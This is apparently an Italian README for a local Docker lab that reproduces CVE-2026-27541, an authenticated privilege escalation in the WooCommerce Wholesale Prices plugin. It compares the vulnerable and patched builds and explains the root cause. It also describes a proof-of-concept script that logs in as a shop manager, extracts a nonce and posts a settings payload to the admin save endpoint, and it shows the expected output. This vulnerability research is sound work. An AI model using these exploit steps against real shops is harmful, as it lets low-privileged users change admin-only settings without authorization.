
# Docker lab per riprodurre CVE-2026-27541, un'escalation di privilegi autenticata in WooCommerce Wholesale Prices. Confronta le build vulnerabili e quelle patchate, include script PoC e analisi della causa principale.

Questo progetto è un laboratorio Docker locale per analizzare e riprodurre il comportamento di CVE-2026-27541 nel plugin WooCommerce Wholesale Prices / Wholesale Suite, confrontando le build vulnerabile e corretta fianco a fianco sulla stessa macchina.
Il problema principale è un Controllo degli Accessi Non Corretto (Broken Access Control) nel seguente endpoint REST API:
/wp-json/wwp/v1/admin/save
In base al codice sorgente utilizzato in questo laboratorio, quella rotta ha già un permission_callback sia nella build vulnerabile che in quella corretta. Tuttavia, la versione interessata utilizza un controllo delle capacità troppo ampio per un'azione di scrittura delle impostazioni admin:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )In questo laboratorio, l'utente shopmgr, che ha il ruolo shop_manager, ha manage_woocommerce=true ma non manage_options. Di conseguenza, questo utente con privilegi bassi può utilizzare una sessione valida di accesso più un X-WP-Nonce valido per invocare l'endpoint di salvataggio delle impostazioni admin sulla build vulnerabile, mentre la build corretta restituisce 403 rest_forbidden per la stessa richiesta.
2.2.6): l'utente shopmgr può chiamare con successo POST /wp-json/wwp/v1/admin/save e modificare le impostazioni del plugin.2.2.7): la stessa richiesta da shopmgr viene respinta con 403.403, il che è coerente con un problema di escalation dei privilegi post-autenticazione.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, mentre la build corretta restituisce ancora See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → database MariaDB separatiseed-vuln / seed-patched → job di seeding wp-cli che installano WordPress, installano il plugin, creano utenti e creano un prodotto per i testhttp://localhost:8081 → vulnerabilehttp://localhost:8082 → correttawordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — definisce gli stack vulnerabile e corretto con database separatiscripts/seed-wp.sh — installa WordPress, WooCommerce, il plugin target e crea utenti di test e dati di prodottopoc.py — PoC a impatto minimo per login, estrazione nonce e invocazione dell'endpoint RESTUna volta che lo stack è pronto, lo script di seeding crea quanto segue:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7Lo script scrive anche lab-secrets.json in ogni container WordPress in modo che i dati preparati e le informazioni sulla versione possano essere verificati.
Questo PoC non tenta di prendere il controllo del sito, cambiare ruoli, installare plugin o eseguire una shell.
Fa solo quanto segue:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Questa impostazione viene utilizzata come marcatore osservabile per dimostrare che un utente con privilegi bassi può modificare una configurazione riservata agli admin.
POST /wp-json/wwp/v1/admin/saveSebbene l'endpoint richieda una sessione valida e un nonce, la versione vulnerabile consente comunque a un utente con privilegi bassi come shopmgr con il ruolo shop_manager di invocare un endpoint che dovrebbe essere riservato agli admin.
Questa non è una vulnerabilità non autenticata.
Se l'endpoint viene chiamato direttamente senza una sessione di accesso, sia la build vulnerabile che quella corretta respingono la richiesta. Il bug risiede nell'autorizzazione dopo l'autenticazione, non nell'autenticazione stessa.
La versione vulnerabile non manca di un permission_callback. Il difetto è che utilizza un controllo delle capacità troppo ampio (manage_woocommerce) per un'azione REST che scrive impostazioni lato admin.
Dal codice sorgente in includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() come permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
In questo laboratorio, l'utente shopmgr, che ha il ruolo shop_manager, ha manage_woocommerce=true ma non manage_options, quindi supera il controllo vulnerabile ma fallisce quello corretto.
La versione corretta fa più che cambiare la risposta da 200 a 403. Modifica la logica di controllo degli accessi restringendo il requisito di capacità da manage_woocommerce a manage_options.
Inoltre, il percorso di salvataggio nella build corretta è ulteriormente rafforzato passando dal filtraggio basato su prefissi a liste bianche esplicite e a una sanificazione più forte.
Il PoC segue lo stesso flusso di un contesto browser reale:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/savePoiché la build vulnerabile consente agli utenti con manage_woocommerce di invocare questa azione di scrittura delle impostazioni, la richiesta riesce e comporta una modifica persistente dell'opzione.
Un nonce aiuta a proteggere contro il CSRF, ma non è un controllo di autorizzazione.
Avere una sessione valida e un nonce valido non significa che un utente dovrebbe essere autorizzato a eseguire un'azione admin. L'uso di una capacità eccessivamente ampia su un endpoint privilegiato è sufficiente per creare un bypass di autorizzazione per utenti con privilegi bassi.
docker compose up -d --build
docker compose ps
Dovresti vedere almeno:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py funziona come segue:
GET /wp-login.php
POST /wp-login.php per stabilire una sessione autenticata
apre la pagina admin del plugin:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
estrae wpApiSettings.nonce e la root REST dall'HTML/JavaScript
invia una richiesta a:
/wp-json/wwp/v1/admin/save
invia il payload:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Output atteso:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Output atteso:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
Dopo che il PoC riesce sul nodo vulnerabile:
PWNED_BY_POC
L'impatto pratico di questa classe di bug è che un utente con privilegi bassi può modificare una configurazione che dovrebbe essere riservata agli admin, il che può portare direttamente a:
Questo laboratorio utilizza intenzionalmente un payload sicuro e osservabile per evitare cambi di ruolo o qualsiasi escalation oltre a quanto necessario per dimostrare la condizione di vulnerabilità.
docker compose down -v
localhostQuesto laboratorio mostra che CVE-2026-27541 è un bypass di autorizzazione autenticato con privilegi bassi nell'endpoint delle impostazioni REST API del plugin. Il difetto nella versione 2.2.6 non è l'assenza di un controllo dei permessi, ma l'uso di una capacità eccessivamente ampia (manage_woocommerce) per un'azione che dovrebbe essere limitata al livello manage_options.
In questo ambiente locale:
shopmgr supera il controllo vulnerabile e può modificare con successo le impostazioni lato admin tramite POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC nell'opzione target, mentre la build corretta noDi conseguenza, questo repository funge sia da prova comportamentale che da prova basata sul codice della differenza tra versione vulnerabile e corretta in un ambiente locale completamente controllato.